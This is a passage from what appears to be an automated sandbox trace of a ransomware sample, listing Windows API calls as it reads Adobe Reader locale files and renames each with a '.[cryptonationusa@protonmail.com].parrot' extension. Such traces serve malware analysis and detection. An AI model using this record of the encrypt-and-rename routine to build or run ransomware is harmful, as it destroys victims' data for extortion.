dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0254.516] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.516] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.520] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.520] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0254.521] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.521] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\adobecollabsync.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\adobecollabsync.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0254.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0254.562] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.562] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.563] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.564] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x77800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x77800, lpOverlapped=0x0) returned 1 [0254.580] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.596] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\annots.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\annots.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e130 | out: hHeap=0x5b0000) returned 1 [0254.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0254.610] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.610] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.611] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.612] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3400, lpOverlapped=0x0) returned 1 [0254.613] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.614] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\brdlang32.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\brdlang32.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0254.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0254.621] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.621] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.623] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.623] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1de00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1de00, lpOverlapped=0x0) returned 1 [0254.627] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.630] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\checkers.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\checkers.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0254.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0254.637] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.637] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.639] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.639] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fa00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1fa00, lpOverlapped=0x0) returned 1 [0254.641] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.642] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\digsig.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\digsig.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.645] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e130 | out: hHeap=0x5b0000) returned 1 [0254.645] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.645] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0254.647] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.647] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.648] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.648] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4600, lpOverlapped=0x0) returned 1 [0254.652] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.652] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DVA.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\dva.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DVA.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\dva.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e130 | out: hHeap=0x5b0000) returned 1 [0254.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0254.656] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.657] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.658] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.658] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0254.659] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.659] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\eBook.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ebook.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\eBook.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ebook.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e130 | out: hHeap=0x5b0000) returned 1 [0254.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0254.663] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.663] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.668] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.668] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa200, lpOverlapped=0x0) returned 1 [0254.670] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.670] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\EScript.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\escript.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\EScript.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\escript.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0254.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.673] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0254.675] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.675] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.676] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.676] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0254.676] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.677] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\IA32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ia32.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\IA32.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ia32.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e130 | out: hHeap=0x5b0000) returned 1 [0254.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0254.681] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.681] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.682] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.682] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x12800, lpOverlapped=0x0) returned 1 [0254.684] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.685] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\makeaccessible.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\makeaccessible.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\makeaccessible.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\makeaccessible.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0254.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0254.691] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.691] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.693] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.693] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x12c00, lpOverlapped=0x0) returned 1 [0254.695] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.695] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Multimedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\multimedia.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Multimedia.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\multimedia.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.699] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0254.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.700] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0254.702] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.702] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.703] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.704] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0254.705] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.705] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\pddom.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\pddom.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\pddom.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\pddom.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e130 | out: hHeap=0x5b0000) returned 1 [0254.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0254.711] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.711] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.721] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.721] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7d800, lpOverlapped=0x0) returned 1 [0254.735] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.789] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\PPKLITE.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ppklite.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\PPKLITE.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ppklite.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0254.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x331e758 | out: hHeap=0x5b0000) returned 1 [0254.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0254.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0254.799] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0254.799] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0254.800] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.800] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0254.876] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.877] WriteFile (in: hFile=0x1b0, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0254.882] SetFilePointerEx (in: 